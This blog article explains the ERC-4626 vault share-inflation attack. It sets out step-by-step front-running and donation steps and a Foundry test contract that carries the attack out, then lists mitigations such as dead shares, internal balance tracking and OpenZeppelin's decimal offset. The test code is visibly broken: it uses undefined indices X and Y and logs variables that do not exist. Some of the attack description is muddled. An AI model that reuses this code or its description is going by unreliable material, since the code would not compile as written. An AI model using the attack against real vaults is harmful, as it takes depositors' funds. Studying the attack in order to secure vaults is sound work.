How To Mitigate Share Inflation Vulnerabilities of ERC-4626 Compliant Vault Contracts.

Attackers target the Erc-4626 token vault standard to exploit the vault’s share and cause depositors to lose their deposits.

Mayowa Olatunji (@web3MIO)
Block Magnates

--

ERC4626

The token standard, ERC-4626, structures the technical parameters and API for yield-bearing vaults representing shares of a single ERC-20 token. It offers a uniform interface for depositing, withdrawing tokens, and querying balances, reducing integration efforts and enhancing interoperability across DeFi applications.

However, the revolutionary approach of this standard is flawed, with inherent vulnerabilities such as inflation attacks.

An inflation attack is a wild vulnerability initiated when an attacker targets the ERC-4626 tokenized vault standard through inflation. Usually, by donating ERC20 tokens to the vault, the vault shares are inflated. A malicious user can, however, leverage this behavior to inflate the vault’s share value by donating a large amount of ERC20 tokens. As a result, users lose their deposits.

CaseStudy the Inflation Attack

ERC4626 token vaults operate by issuing shares in exchange for deposited assets. This exchange rate is the equivalent of 1 share per asset. Hence, the idea of the inflation attack is to tamper with that exchange rate just before a user deposits tokens to the vaults. Usually, exploiters often find interest in empty or early stages with low liquidity.

This vulnerability is possible due to a rounding issue or an absence of slippage protection in the ‘deposit function, as the following equation shows:

sharesAmount = totalShares * assetAmount / asset.balanceOf(address(this))

Now, consider an attack scenario between user X and a malicious user Y, where User X is supposed to be the first depositor in the new vault.

  • User Y back-runs the transaction of an ERC4626 mempool.
  • User Y then mints for themself one share or deposit(1) to arrive at totalAsset()==1, totalSupply()==1.
  • User Y front-runs the deposit of user X, who wants to deposit 10,000 USDT (10,000.000000). This, therefore, inflates the denominator right in front of the user X: asset.transfer(10_000e6).
    Now totalAsset()==10_000e6 + 1, totalSupply()==1.
  • Next, when user X's deposit is completed, they get 1 * 10_000e6 / (10_000e6 + 1) == 0 shares. The victim gets zero shares.
  • User Y burns their share from the pool; this withdrawal equals the vault balance.
// SPDX-License-Identifier: MIT
pragma solidity 0.8.24;

import {Test, console2} from "forge-std/Test.sol";
import {
IERC20,
Vault,
Token
} from "../../../src/hacks/vault-inflation/VaultInflation.sol";

uint8 constant DECIMALS = 18;

contract VaultTest is Test {
Vault private vault;
Token private token;

address[] private users = [address(11), address(12)];

function setUp() public {
token = new Token();
vault = new Vault(address(token));

for (uint256 i = 0; i < users.length; i++) {
token.mint(users[i], 10000 * (10 ** DECIMALS));
vm.prank(users[i]);
token.approve(address(vault), type(uint256).max);
}
}

function print() private {
console2.log("vault total supply", vault.totalSupply());
console2.log("vault balance", token.balanceOf(address(vault)));
uint256 shares0 = vault.balanceOf(users[Y]);
uint256 shares1 = vault.balanceOf(users[X]);
console2.log("users[Y] shares", sharesY);
console2.log("users[X] shares", sharesX);
console2.log("users[Y] redeemable", vault.previewRedeem(shares0));
console2.log("users[X] redeemable", vault.previewRedeem(shares1));
}

function test() public {
// users[Y] deposit 1
console2.log("--- users[0] deposit ---");
vm.prank(users[Y]);
vault.deposit(1);
print();

// users[Y] donate 10000
console2.log("--- users[Y] donate ---");
vm.prank(users[Y]);
token.transfer(address(vault), 10000 * (10 ** DECIMALS));
print();

// users[X] deposit 10000
console2.log("--- users[X] deposit ---");
vm.prank(users[X]);
vault.deposit(10000 * (10 ** DECIMALS));
print();
}
}

How to Mitigate Inflation Attacks

There a number of proposed mitigations that blocks share inflation attacts, but the following are regarded as the most effective.

  • Internal balance:
    The method nullifies the impact of direct transfers by internally tracking the assets held within the vault. This approach ensures that donated tokens remain unaccounted for, thereby mitigating the risk of inflation attacks. By incorporating mechanisms to monitor the internal balance of the vault, malicious token donations intended to inflate share values can be identified and thwarted effectively.
  • Dead shares (contract is the first depositor):
    Drawing inspiration from Uniswap V2, which generated inactive LP shares upon initial liquidity deposits, a comparable strategy can be adopted within ERC-4626 vaults. This approach involves minting inactive shares during the first deposit or minting process. Implementing a contract structure where the creator serves as the inaugural depositor can establish a foundation for share valuation, mitigating the susceptibility to inflationary attacks.
  • Requiring a minimum initial deposit from a trusted party:
    In this method, we need someone trustworthy to make the first deposit. This step sets the right balance between shares and assets in the contract, making it less prone to share inflation tricks. The idea is simple: the person who puts in the first deposit should be someone we trust not to take it out. This way, the contract stays safe from any initial deposit risks. Usually, this trusted person could be the creator of the protocol or a reliable third party providing liquidity.
  • ‘Burn’ shares during the initial deposit:
    To tackle share inflation, we can implement a strategy during the initial deposit phase called “burning” shares. Here’s how it works: instead of giving all owed shares to the first depositor, some shares are sent to an address like the zero-address, where no one owns them. This action effectively removes those shares from circulation, making them unredeemable. By doing this, we prevent the first depositor from influencing the ratio of shares to underlying assets in a way that could lead to share inflation. This proactive measure safeguards the integrity of the contract against potential manipulation.
  • Decimal offset (OpenZeppelin ERC4626):
    Leveraging strategies such as the OpenZeppelin ERC4626 Decimal Offset can provide additional layers of security against potential vulnerabilities. It is an implementation of the ERC-4626 template that handles all of the specified rounding directions for you.

In Conclusion

From what we have briefly covered in this article, It is crucial for auditors and developers to note these potential vulnerabilities and implement the suggested mitigation approach to safeguard their DeFi vaults and pools.

--

--